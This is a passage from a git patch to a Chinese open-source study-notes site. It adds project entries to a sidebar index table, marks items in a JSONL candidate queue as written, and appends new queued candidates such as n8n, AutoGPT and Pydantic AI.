上游](/study/projects/openvscode-server/) | ✅ v3 | CLI | 编辑器与 IDE | | `openwrt` | [OpenWrt — 路由器 / 网关上的可扩展 Linux 发行版](/study/projects/openwrt/) | ✅ v3 | 操作系统 | 嵌入式 | | `openzeppelin-contracts` | [OpenZeppelin Contracts — 以太坊智能合约的事实标准库](/study/projects/openzeppelin-contracts/) | ✅ v3 | 区块链 | 链与合约 | | `operator-sdk` | [Operator SDK — 写 K8s Operator 的"豪华套餐"版脚手架](/study/projects/operator-sdk/) | ✅ v3 | 基础设施 | DevOps 与运维 | @@ -1706,6 +1788,7 @@ sidebar: | `otel-collector` | [OpenTelemetry Collector — 可观测性数据的统一中转站](/study/projects/otel-collector/) | ✅ v3 | 基础设施 | 基础设施 / 可观测性 | | `ovenmediaengine` | [OvenMediaEngine — 亚秒级直播流媒体服务器](/study/projects/ovenmediaengine/) | ✅ v3 | 通信 | 实时通信 | | `oxc` | [oxc — Rust 写一整套 JS/TS 工具链的勇气](/study/projects/oxc/) | ✅ v3 | 编译器 | projects / 编译器 | +| `paddle-lite` | [Paddle Lite — 把飞桨模型装进手机里的「端侧放映机」](/study/projects/paddle-lite/) | ✅ v3 | 操作系统 | 嵌入式 | | `paddleocr` | [PaddleOCR — 中文 OCR 最强开源方案](/study/projects/paddleocr/) | ✅ v3 | 机器学习 | 数据科学与 AI | | `panda3d` | [Panda3D — Disney/CMU 出品的开源 3D 游戏引擎](/study/projects/panda3d/) | ✅ v3 | 图形学 | 渲染与图形 | | `pandas` | [pandas — Python 表格数据事实标准](/study/projects/pandas/) | ✅ v3 | 机器学习 | 数据科学与 AI | @@ -1762,6 +1845,7 @@ sidebar: | `pulumi` | [Pulumi — 用真正的编程语言写云资源清单](/study/projects/pulumi/) | ✅ v3 | 基础设施 | DevOps 与运维 | | `pyarrow` | [PyArrow — 让所有数据系统共用一块内存](/study/projects/pyarrow/) | ✅ v3 | 机器学习 | 数据科学与 AI | | `pyenv` | [pyenv — 用 shim 把 python 命令拦截后路由到指定版本](/study/projects/pyenv/) | ✅ v3 | CLI | 命令行工具 | +| `pyston` | [Pyston — 给 CPython 装上「快车道」的 JIT 加速器](/study/projects/pyston/) | ✅ v3 | 编译器 | 语言运行时 | | `pyth` | [Pyth Network — 一手数据上链的低延迟预言机](/study/projects/pyth/) | ✅ v3 | 区块链 | 链与合约 | | `pytorch` | [PyTorch — 深度学习主流框架](/study/projects/pytorch/) | 🗄 存量 | 机器学习 | 数据科学与 AI | | `pytorch-lightning` | [PyTorch Lightning — PyTorch 训练循环抽象](/study/projects/pytorch-lightning/) | ✅ v3 | 机器学习 | 数据科学与 AI | @@ -1806,7 +1890,9 @@ sidebar: | `rocksdb` | [RocksDB — 嵌入式 LSM 引擎](/study/projects/rocksdb/) | ✅ v3 | 数据库 | 存储与查询 | | `rolldown` | [rolldown — 用 Rust 给 Vite 当统一引擎的打包器](/study/projects/rolldown/) | ✅ v3 | 编译器 | 构建工具 | | `rollup` | [Rollup — ESM 优先的打包器](/study/projects/rollup/) | ✅ v3 | 编译器 | 构建工具 | +| `roo-code` | [Roo Code — 多模式 VS Code AI 助手](/study/projects/roo-code/) | ✅ v3 | CLI | 编辑器与 IDE | | `rook` | [Rook — 把 Ceph 装进 K8s 的 CRD 里](/study/projects/rook/) | ✅ v3 | 基础设施 | DevOps 与运维 | +| `ros2` | [ROS 2 — 机器人操作系统零基础入门](/study/projects/ros2/) | ✅ v3 | 操作系统 | 嵌入式 | | `rspack` | [rspack — 用 Rust 重写 webpack 的内核,但留下整个 plugin 生态](/study/projects/rspack/) | ✅ v3 | 编译器 | 构建工具 | | `rt-thread` | [RT-Thread — 中文社区主导的物联网 RTOS](/study/projects/rt-thread/) | ✅ v3 | 操作系统 | 嵌入式 | | `runc` | [runc — Linux 容器最底层那个真正在 fork 进程的 CLI](/study/projects/runc/) | ✅ v3 | 基础设施 | DevOps 与运维 | @@ -1820,6 +1906,7 @@ sidebar: | `scrcpy` | [scrcpy — Android 屏幕镜像 / 录制](/study/projects/scrcpy/) | ✅ v3 | 通信 | 音视频媒体 | | `scroll` | [Scroll — 字节码级 zkEVM](/study/projects/scroll/) | ✅ v3 | 区块链 | 链与合约 | | `sd` | [sd — 直觉语法的 sed 替代品(Rust 写的 find-and-replace)](/study/projects/sd/) | ✅ v3 | CLI | 命令行工具 | +| `sdk-nrf` | [sdk-nrf — Nordic nRF Connect SDK 零基础学习笔记](/study/projects/sdk-nrf/) | ✅ v3 | 操作系统 | 嵌入式 | | `seaborn` | [seaborn — matplotlib 之上的一行统计图](/study/projects/seaborn/) | ✅ v3 | 数据可视化 | 数据可视化 | | `sealed-secrets` | [Sealed Secrets — 把加密后的 Secret 安全提交到 Git](/study/projects/sealed-secrets/) | ✅ v3 | 基础设施 | DevOps 与运维 | | `sentry` | [Sentry — 把崩溃和报错自动收集 + 分组 + 可查询的错误监控平台](/study/projects/sentry/) | ✅ v3 | 基础设施 | 可观测性 | @@ -1844,6 +1931,7 @@ sidebar: | `signal-server` | [Signal-Server — 服务端看不到任何明文的即时通信后端](/study/projects/signal-server/) | ✅ v3 | 通信 | 实时通信 | | `signoz` | [SigNoz — 自托管的 OpenTelemetry 一体化可观测平台](/study/projects/signoz/) | ✅ v3 | 基础设施 | DevOps 与运维 | | `silero-vad` | [Silero VAD — 轻量语音活动检测](/study/projects/silero-vad/) | ✅ v3 | 机器学习 | 数据科学与 AI | +| `silverbullet` | [SilverBullet — 可编程的自托管 Markdown 知识库](/study/projects/silverbullet/) | ✅ v3 | CLI | 编辑器与 IDE | | `simple-peer` | [simple-peer — 三行代码把两个浏览器直接连起来](/study/projects/simple-peer/) | ✅ v3 | 通信 | 实时通信 | | `sinatra` | [Sinatra — 用 Ruby 三行代码起一个 web 服务](/study/projects/sinatra/) | ✅ v3 | 后端 API | Web 后端 | | `skaffold` | [Skaffold — K8s 本地开发的 build-deploy 自动循环](/study/projects/skaffold/) | 🗄 存量 | 基础设施 | DevOps 与运维 | @@ -1910,6 +1998,7 @@ sidebar: | `testing-library` | [Testing Library — 像用户一样测前端,重构不再挂测试](/study/projects/testing-library/) | ✅ v3 | CLI | 工具库 | | `textmate` | [TextMate — macOS 经典编辑器,语法格式影响了所有人](/study/projects/textmate/) | ✅ v3 | CLI | 编辑器与 IDE | | `textual` | [Textual — 用 CSS 写终端界面的 Python 框架](/study/projects/textual/) | ✅ v3 | CLI | 命令行工具 | +| `tflite-micro` | [TensorFlow Lite Micro — 把神经网络塞进几 KB RAM 的「袖珍推理引擎」](/study/projects/tflite-micro/) | ✅ v3 | 操作系统 | 嵌入式 | | `the-silver-searcher` | [the_silver_searcher (ag) — 比 grep/ack 快一个数量级的代码搜索](/study/projects/the-silver-searcher/) | ✅ v3 | CLI | 命令行工具 | | `theia` | [Eclipse Theia — 云原生 IDE 框架基座](/study/projects/theia/) | ✅ v3 | CLI | 编辑器与 IDE | | `thirdweb-sdk` | [thirdweb SDK — 一站式 Web3 全家桶](/study/projects/thirdweb-sdk/) | ✅ v3 | 区块链 | 链与合约 | @@ -1922,6 +2011,7 @@ sidebar: | `tilt` | [Tilt — K8s 微服务本地开发的"文件保存即上线"](/study/projects/tilt/) | ✅ v3 | 基础设施 | DevOps 与运维 | | `timelinejs` | [TimelineJS — 把 Google Sheet 一键变成新闻时间线](/study/projects/timelinejs/) | ✅ v3 | 数据可视化 | 数据可视化 | | `timescaledb` | [TimescaleDB — PostgreSQL 时序扩展](/study/projects/timescaledb/) | ✅ v3 | 数据库 | 存储与查询 | +| `tinygo` | [TinyGo — 把 Go 编译进微控制器和 WebAssembly 的「袖珍版编译器」](/study/projects/tinygo/) | ✅ v3 | 编译器 | 语言运行时 | | `tldraw` | [tldraw — 把白板做成可嵌入的 SDK](/study/projects/tldraw/) | ✅ v3 | 数据可视化 | 数据可视化 | | `tmux` | [tmux — 一个终端窗口里跑多个会话还能脱离重连](/study/projects/tmux/) | ✅ v3 | CLI | 命令行工具 | | `torchcodec` | [TorchCodec — PyTorch 原生 GPU 视频解码与张量输出](/study/projects/torchcodec/) | ✅ v3 | 机器学习 | 视频理解 | @@ -1933,6 +2023,7 @@ sidebar: | `trpc` | [tRPC — TS 端到端类型安全 RPC](/study/projects/trpc/) | ✅ v3 | 后端 API | 类型与 PL 理论 | | `turbopack` | [Turbopack — 把 bundler 重做成增量计算应用](/study/projects/turbopack/) | ✅ v3 | 后端 API | 前端工具 | | `turborepo` | [Turborepo — 让 monorepo 学会"哪些活已经干过了不要再干"](/study/projects/turborepo/) | ✅ v3 | 后端 API | 前端工程化 | +| `twgl` | [twgl.js — 把 WebGL 样板代码压成几行 helper 的微型工具库](/study/projects/twgl/) | ✅ v3 | 图形学 | 渲染与图形 | | `twirp` | [Twirp — 用 protobuf 定义服务,但只走 HTTP/1.1 + JSON](/study/projects/twirp/) | ✅ v3 | 后端 API | Web 后端 | | `tyk` | [tyk — Go 实现的开源 API 网关,自带门户和多协议转换](/study/projects/tyk/) | ✅ v3 | 后端 API | Web 后端 | | `typeorm` | [TypeORM — Decorator-based ORM](/study/projects/typeorm/) | ✅ v3 | 数据库 | ORM | @@ -1973,6 +2064,7 @@ sidebar: | `vllm` | [vLLM — 高吞吐 LLM 推理引擎](/study/projects/vllm/) | ✅ v3 | 机器学习 | 数据科学与 AI | | `vllm-multimodal` | [vLLM Multimodal — 多模态与视频 URL 高吞吐推理服务](/study/projects/vllm-multimodal/) | ✅ v3 | 机器学习 | 视频理解 | | `vodozemac` | [vodozemac — Matrix 端到端加密的 Rust 内核](/study/projects/vodozemac/) | ✅ v3 | 通信 | 实时通信 | +| `void` | [Void — 开源 Cursor 替代](/study/projects/void/) | ✅ v3 | CLI | 编辑器与 IDE | | `voila` | [Voilà — 把 Jupyter Notebook 变成只显示输出的网页](/study/projects/voila/) | ✅ v3 | 数据可视化 | 数据可视化 | | `volta` | [Volta — cd 进项目就自动换 Node 版本的工具链管理器](/study/projects/volta/) | ✅ v3 | CLI | 命令行工具 | | `vscode` | [VS Code — 把编辑/调试/扩展捏成一个跨平台壳](/study/projects/vscode/) | ✅ v3 | CLI | 编辑器与 IDE | @@ -1987,6 +2079,7 @@ sidebar: | `weaviate` | [Weaviate — 模块化向量数据库](/study/projects/weaviate/) | ✅ v3 | 数据库 | 存储与查询 | | `web-vitals` | [web-vitals — 让你在自己页面测的数和 Google 排名用的数对得上](/study/projects/web-vitals/) | ✅ v3 | 后端 API | projects / 前端 | | `web3-js` | [web3.js — 老牌 EVM JavaScript 客户端库](/study/projects/web3-js/) | ✅ v3 | 区块链 | 链与合约 | +| `webdriverio` | [WebdriverIO — Node.js 下一代浏览器与移动端自动化测试框架](/study/projects/webdriverio/) | ✅ v3 | 后端 API | 移动端 | | `webpack` | [webpack 模块打包](/study/projects/webpack/) | 🗄 存量 | 编译器 | 构建工具 | | `webrtc-rs` | [webrtc-rs — Rust 纯实现 WebRTC 协议栈,对标 Go 世界的 Pion](/study/projects/webrtc-rs/) | ✅ v3 | 通信 | 实时通信 | | `wezterm` | [WezTerm — Rust 写的 GPU 加速终端,配置用 Lua 还自带多路复用](/study/projects/wezterm/) | ✅ v3 | CLI | 命令行工具 | @@ -2013,6 +2106,7 @@ sidebar: | `zed` | [Zed — Atom 团队 Rust 重写的 GPU 协作编辑器](/study/projects/zed/) | ✅ v3 | CLI | 编辑器与 IDE | | `zellij` | [Zellij — Rust 写的现代终端复用器,开箱即用还能写 WebAssembly 插件](/study/projects/zellij/) | ✅ v3 | CLI | 命令行工具 | | `zephyr` | [Zephyr — 一份代码树跑遍所有嵌入式芯片的开源 RTOS](/study/projects/zephyr/) | ✅ v3 | 操作系统 | 嵌入式 | +| `zettlr` | [Zettlr — 学者向 Markdown 编辑器](/study/projects/zettlr/) | ✅ v3 | CLI | 编辑器与 IDE | | `zincsearch` | [ZincSearch — 单二进制 Go 写的 ES 替代](/study/projects/zincsearch/) | ✅ v3 | 数据库 | 存储与查询 | | `zksync-era` | [zkSync Era — Matter Labs 的 zkEVM L2](/study/projects/zksync-era/) | ✅ v3 | 区块链 | 链与合约 | | `zod` | [Zod — TypeScript-first schema 验证](/study/projects/zod/) | 🗄 存量 | 后端 API | 表单与校验 | From 83787309f571fee6f8116dba14da46945d94952d Mon Sep 17 00:00:00 2001 From: estelledc Date: Sat, 13 Jun 2026 12:34:13 +0800 Subject: [PATCH 05/49] =?UTF-8?q?feat:=20=E6=96=B0=E5=A2=9E=20SiYuan=20?= =?UTF-8?q?=E5=9B=BD=E4=BA=A7=E5=9D=97=E7=BB=93=E6=9E=84=E7=AC=94=E8=AE=B0?= =?UTF-8?q?=E9=9B=B6=E5=9F=BA=E7=A1=80=E5=AD=A6=E4=B9=A0=E7=AC=94=E8=AE=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 覆盖块引用、SQL 嵌入与 HTTP API 示例,并同步 pipeline 分类与候选状态。 Co-authored-by: Cursor --- data/candidates.jsonl | 51 +++- data/classification-unresolved.json | 2 +- data/classification.jsonl | 10 +- src/content/docs/projects/siyuan.md | 411 ++++++++++++++++++++++++++++ 4 files changed, 463 insertions(+), 11 deletions(-) create mode 100644 src/content/docs/projects/siyuan.md diff --git a/data/candidates.jsonl b/data/candidates.jsonl index fccf80d6f..276e56bec 100644 --- a/data/candidates.jsonl +++ b/data/candidates.jsonl @@ -1237,8 +1237,8 @@ {"slug":"logseq","area":"projects","topic":"editors","title":"Logseq — 块结构离线知识库","meta":{"col3":"~36k","col4":"\"段落即图节点\"的 Roam 开源对标,本地优先 + 双链全文"},"url":"https://github.com/logseq/logseq","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T04:20:08.771Z"} {"slug":"joplin","area":"projects","topic":"editors","title":"Joplin — 开源 Evernote 替代","meta":{"col3":"~50k","col4":"E2E 加密 + 多设备同步 + Markdown,跨平台个人笔记标杆"},"url":"https://github.com/laurent22/joplin","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T04:23:29.382Z"} {"slug":"anytype-ts","area":"projects","topic":"editors","title":"Anytype — 本地优先块编辑器","meta":{"col3":"~5k","col4":"P2P + E2E + 类型化对象图,去中心化 Notion 思路"},"url":"https://github.com/anyproto/anytype-ts","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"trilium","area":"projects","topic":"editors","title":"Trilium — 树形层级笔记系统","meta":{"col3":"~30k","col4":"服务端 + 客户端架构,超大笔记树 + 关系图 + 脚本"},"url":"https://github.com/zadam/trilium","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} -{"slug":"siyuan","area":"projects","topic":"editors","title":"SiYuan — 国产块结构笔记","meta":{"col3":"~24k","col4":"思源笔记,本地优先 + 双链 + 自托管 + 中文优化"},"url":"https://github.com/siyuan-note/siyuan","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} +{"slug":"trilium","area":"projects","topic":"editors","title":"Trilium — 树形层级笔记系统","meta":{"col3":"~30k","col4":"服务端 + 客户端架构,超大笔记树 + 关系图 + 脚本"},"url":"https://github.com/zadam/trilium","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T04:31:51.170Z"} +{"slug":"siyuan","area":"projects","topic":"editors","title":"SiYuan — 国产块结构笔记","meta":{"col3":"~24k","col4":"思源笔记,本地优先 + 双链 + 自托管 + 中文优化"},"url":"https://github.com/siyuan-note/siyuan","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-editors.md","written_at":"2026-06-13T04:33:36.075Z"} {"slug":"appflowy","area":"projects","topic":"editors","title":"AppFlowy — Rust 写的开源 Notion","meta":{"col3":"~64k","col4":"Flutter 客户端 + Rust 内核,自托管 Notion 对标的最大项目"},"url":"https://github.com/AppFlowy-IO/AppFlowy","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} {"slug":"texstudio","area":"projects","topic":"editors","title":"TeXstudio — LaTeX IDE","meta":{"col3":"~3.4k","col4":"Qt 实现的 LaTeX 集成编辑器,宏 / 公式补全 / 实时预览"},"url":"https://github.com/texstudio-org/texstudio","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} {"slug":"overleaf","area":"projects","topic":"editors","title":"Overleaf — 在线 LaTeX 协作","meta":{"col3":"~16k","col4":"Web 端实时协作 LaTeX,社区版可自托管"},"url":"https://github.com/overleaf/overleaf","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-editors.md"} @@ -1291,8 +1291,8 @@ {"slug":"moveit2","area":"projects","topic":"embedded","title":"MoveIt 2","meta":{"col3":"ROS 2 上的机械臂运动规划框架,IK / 轨迹 / 碰撞检测 / RViz 一体","col4":"1.2k"},"url":"https://github.com/moveit/moveit2","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T04:20:08.777Z"} {"slug":"navigation2","area":"projects","topic":"embedded","title":"Nav2","meta":{"col3":"ROS 2 上的移动机器人导航栈,behavior tree + planner + controller 解耦","col4":"3.6k"},"url":"https://github.com/ros-navigation/navigation2","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T04:23:29.390Z"} {"slug":"gazebo-classic","area":"projects","topic":"embedded","title":"Gazebo Classic","meta":{"col3":"OSRF 的物理仿真器,URDF / SDF / 物理引擎插件,机器人仿真训练事实标准","col4":"1.4k"},"url":"https://github.com/osrf/gazebo","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"home-assistant","area":"projects","topic":"embedded","title":"Home Assistant Core","meta":{"col3":"Python 的开源家庭自动化平台,2000+ integration,端侧 SQLite + WebSocket 架构","col4":"79k"},"url":"https://github.com/home-assistant/core","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} -{"slug":"openhab","area":"projects","topic":"embedded","title":"openHAB","meta":{"col3":"Java OSGi 家庭自动化框架,bundle / binding 双层架构,欧洲社区强","col4":"3.3k"},"url":"https://github.com/openhab/openhab-core","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} +{"slug":"home-assistant","area":"projects","topic":"embedded","title":"Home Assistant Core","meta":{"col3":"Python 的开源家庭自动化平台,2000+ integration,端侧 SQLite + WebSocket 架构","col4":"79k"},"url":"https://github.com/home-assistant/core","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T04:28:33.768Z"} +{"slug":"openhab","area":"projects","topic":"embedded","title":"openHAB","meta":{"col3":"Java OSGi 家庭自动化框架,bundle / binding 双层架构,欧洲社区强","col4":"3.3k"},"url":"https://github.com/openhab/openhab-core","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md","written_at":"2026-06-13T04:33:36.080Z"} {"slug":"esphome","area":"projects","topic":"embedded","title":"ESPHome","meta":{"col3":"YAML 配置生成 ESP32 / ESP8266 固件的工具链,与 Home Assistant 深度集成","col4":"9.5k"},"url":"https://github.com/esphome/esphome","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} {"slug":"espurna","area":"projects","topic":"embedded","title":"ESPurna","meta":{"col3":"可商用的 ESP8266 / ESP32 通用智能开关固件(C++),MQTT / HTTP / 调试一体","col4":"3k"},"url":"https://github.com/xoseperez/espurna","status":"queued","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} {"slug":"gstreamer","area":"projects","topic":"embedded","title":"GStreamer","meta":{"col3":"C 写的多媒体 pipeline 框架,element 模型 + 异步 dataflow,嵌入式 / 桌面通用","col4":"2.5k"},"url":"https://github.com/GStreamer/gstreamer","status":"written","claimed_by":null,"attempts":0,"source_file":"projects-embedded.md"} @@ -1572,8 +1572,8 @@ {"slug":"wisckey","area":"papers","topic":"databases","title":"WiscKey: Separating Keys from Values in SSD-conscious Storage","meta":{"col3":"2016","col4":"FAST'16 best paper;解释 RocksDB write-amplification 根源 + Titan/BlobDB 设计动机。High priority。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T04:06:28.434Z"} {"slug":"oltp-looking-glass","area":"papers","topic":"databases","title":"OLTP Through the Looking Glass, and What We Found There","meta":{"col3":"2008","col4":"Stonebraker 拆解 90% 时间在 buffer/lock/log;H-Store/VoltDB/Hekaton/SiloR 共同前提。High priority。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T04:11:30.600Z"} {"slug":"llmsurgeon-data-mixture","area":"papers","topic":"machine-learning","title":"LLMSurgeon: Diagnosing Data Mixture of Large Language Models","meta":{"col3":"2026","col4":"arXiv 2605.30348;从生成文本反推预训练数据 domain 分布;data provenance auditing 新框架。"},"url":"https://arxiv.org/abs/2605.30348","status":"written","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"rim-latent-reasoning","area":"papers","topic":"machine-learning","title":"Reasoning in Memory: Unlocking the Working Memory of LLMs for Latent Reasoning","meta":{"col3":"2026","col4":"arXiv 2605.30343;用固定 memory token 替代 autoregressive CoT;Hochreiter 团队。"},"url":"https://arxiv.org/abs/2605.30343","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"hullft-ttft","area":"papers","topic":"machine-learning","title":"HullFT: Efficient Test-Time Finetuning via Convex Reconstruction and Gradient Caching","meta":{"col3":"2026","col4":"arXiv 2605.30337;Frank-Wolfe 投影 + gradient reuse;TTFT 质量-速度新前沿。"},"url":"https://arxiv.org/abs/2605.30337","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"rim-latent-reasoning","area":"papers","topic":"machine-learning","title":"Reasoning in Memory: Unlocking the Working Memory of LLMs for Latent Reasoning","meta":{"col3":"2026","col4":"arXiv 2605.30343;用固定 memory token 替代 autoregressive CoT;Hochreiter 团队。"},"url":"https://arxiv.org/abs/2605.30343","status":"written","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31","written_at":"2026-06-13T04:28:33.762Z"} +{"slug":"hullft-ttft","area":"papers","topic":"machine-learning","title":"HullFT: Efficient Test-Time Finetuning via Convex Reconstruction and Gradient Caching","meta":{"col3":"2026","col4":"arXiv 2605.30337;Frank-Wolfe 投影 + gradient reuse;TTFT 质量-速度新前沿。"},"url":"https://arxiv.org/abs/2605.30337","status":"written","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31","written_at":"2026-06-13T04:33:36.051Z"} {"slug":"compositional-incoherence","area":"papers","topic":"machine-learning","title":"Locally Coherent, Globally Incoherent: Bounding Compositional Incoherence in Multi-Component LLM Agents","meta":{"col3":"2026","col4":"arXiv 2605.30335;多 LLM 组件违反概率公理;Boyle-Dykstra projection 修复。"},"url":"https://arxiv.org/abs/2605.30335","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} {"slug":"demystifying-data-org","area":"papers","topic":"machine-learning","title":"Demystifying Data Organization for Enhanced LLM Training","meta":{"col3":"2026","col4":"arXiv 2605.30334;4 条数据排序原则 + STR/SAW;Microsoft data-efficacy 项目。"},"url":"https://arxiv.org/abs/2605.30334","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} {"slug":"compose-future-theorems","area":"papers","topic":"machine-learning","title":"COMPOSE: Composing Future Theorems from Citations and Formal Structure","meta":{"col3":"2026","col4":"arXiv 2605.30333;arXiv + Mathlib 双图条件生成;108K paired examples 数据集。"},"url":"https://arxiv.org/abs/2605.30333","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} @@ -1607,7 +1607,7 @@ {"slug":"lakehouse-2021","area":"papers","topic":"databases","title":"Lakehouse: A New Generation of Open Platforms that Unify Data Warehousing and Advanced Analytics","meta":{"col3":"2021","col4":"CMU 15-721 syllabus;Databricks/Zaharia;现代 data platform 架构定义性论文。"},"url":"https://www.cidrdb.org/cidr2021/papers/cidr2021_paper17.pdf","status":"written","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} {"slug":"columnar-storage-formats-2023","area":"papers","topic":"databases","title":"An Empirical Evaluation of Columnar Storage Formats","meta":{"col3":"2023","col4":"CMU 15-721;Parquet/ORC/Arrow 实证对比;理解列存格式权衡的必读。"},"url":"https://www.vldb.org/pvldb/vol17/p148-zeng.pdf","status":"written","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31","written_at":"2026-06-13T04:20:08.763Z"} {"slug":"fastlanes-compression","area":"papers","topic":"databases","title":"The FastLanes Compression Layout: Decoding >100B Integers per Second with Scalar Code","meta":{"col3":"2023","col4":"CMU 15-721;CWI;列存压缩 SIMD-friendly 布局;DuckDB 采用基础。"},"url":"https://www.vldb.org/pvldb/vol16/p2132-afroozeh.pdf","status":"written","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} -{"slug":"velox-meta-2022","area":"papers","topic":"databases","title":"Velox: Meta's Unified Execution Engine","meta":{"col3":"2022","col4":"VLDB'22;Meta 统一 Presto/Spark/Pandas 执行后端;现代 vectorized engine 工业化案例。"},"url":"https://www.vldb.org/pvldb/vol15/p3372-pedreira.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"velox-meta-2022","area":"papers","topic":"databases","title":"Velox: Meta's Unified Execution Engine","meta":{"col3":"2022","col4":"VLDB'22;Meta 统一 Presto/Spark/Pandas 执行后端;现代 vectorized engine 工业化案例。"},"url":"https://www.vldb.org/pvldb/vol15/p3372-pedreira.pdf","status":"written","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31","written_at":"2026-06-13T04:33:33.917Z"} {"slug":"morsel-driven-2014","area":"papers","topic":"databases","title":"Morsel-Driven Parallelism: A NUMA-Aware Query Evaluation Framework","meta":{"col3":"2014","col4":"SIGMOD'14;HyPer/Umbra 调度核心;many-core 时代 query parallelism 标准范式。"},"url":"https://db.in.tum.de/~leis/papers/morsels.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} {"slug":"efficient-compile-2011","area":"papers","topic":"databases","title":"Efficiently Compiling Efficient Query Plans for Modern Hardware","meta":{"col3":"2011","col4":"VLDB'11;Neumann;data-centric query compilation;HyPer/Umbra 路线起点。"},"url":"https://www.vldb.org/pvldb/vol4/p539-neumann.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} {"slug":"wco-joins-relational-2020","area":"papers","topic":"databases","title":"Adopting Worst-Case Optimal Joins in Relational Database Systems","meta":{"col3":"2020","col4":"CMU 15-721;WCOJ 进入 RDBMS;图模式查询性能突破基础。"},"url":"https://www.vldb.org/pvldb/vol13/p1891-freitag.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} @@ -2016,3 +2016,40 @@ {"slug":"memcoder-co-evolution","area":"papers","topic":"agents","title":"MemCoder: Your Code Agent Can Grow Alongside You with Structured Memory","meta":{"col3":"2026","col4":"从 git commit 蒸馏 intent→code 映射;自精炼 + 经验内化;SWE-bench Verified +9.4pp over DeepSeek-V3.2"},"url":"https://arxiv.org/abs/2603.13258","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} {"slug":"zombie-agents-2602","area":"papers","topic":"agents","title":"Zombie Agents: Persistent Control of Self-Evolving LLM Agents via Self-Reinforcing Injections","meta":{"col3":"2026","col4":"自进化 agent 的安全侧:长期记忆被污染 → 跨会话持久化攻击 → 抗截断/抗相关性过滤"},"url":"https://arxiv.org/abs/2602.15654","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} {"slug":"self-evolving-recsys-2602","area":"papers","topic":"agents","title":"Self-Evolving Recommendation System: Autonomous Model Optimization with LLM Agents","meta":{"col3":"2026","col4":"YouTube 实战:Offline Inner Loop + Online Outer Loop 双 agent 自动跑超参/架构/reward 实验"},"url":"https://arxiv.org/abs/2602.10226","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"n8n","area":"projects","topic":"devops","title":"n8n","url":"https://github.com/n8n-io/n8n","status":"queued","meta":{"col3":"187791","col4":"可视化工作流自动化平台,400+ 集成把 CI/CD 与 AI agent 编排连成一体"}} +{"slug":"autogpt","area":"projects","topic":"data-science-ai","title":"AutoGPT","url":"https://github.com/Significant-Gravitas/AutoGPT","status":"queued","meta":{"col3":"184295","col4":"自主 Agent 编排先驱,goal-driven loop 定义了第一波 agentic 应用范式"}} +{"slug":"flowise","area":"projects","topic":"data-science-ai","title":"Flowise","url":"https://github.com/FlowiseAI/Flowise","status":"queued","meta":{"col3":"52810","col4":"拖拽式 LLM 应用 builder,LangChain 节点可视化,低代码 RAG/agent 原型首选"}} +{"slug":"vercel-ai","area":"projects","topic":"frontend-web","title":"Vercel AI SDK","url":"https://github.com/vercel/ai","status":"queued","meta":{"col3":"24220","col4":"TypeScript 统一 LLM streaming/UI 工具链,Next.js 生态 AI 前端事实标准"}} +{"slug":"mastra","area":"projects","topic":"data-science-ai","title":"Mastra","url":"https://github.com/mastra-ai/mastra","status":"queued","meta":{"col3":"23871","col4":"TypeScript agent 框架,workflow + memory + eval 一体,面向生产级 TS 全栈"}} +{"slug":"pydantic-ai","area":"projects","topic":"data-science-ai","title":"Pydantic AI","url":"https://github.com/pydantic/pydantic-ai","status":"queued","meta":{"col3":"17055","col4":"Pydantic 团队出品,类型安全 agent + tool + structured output,Python 侧新标杆"}} 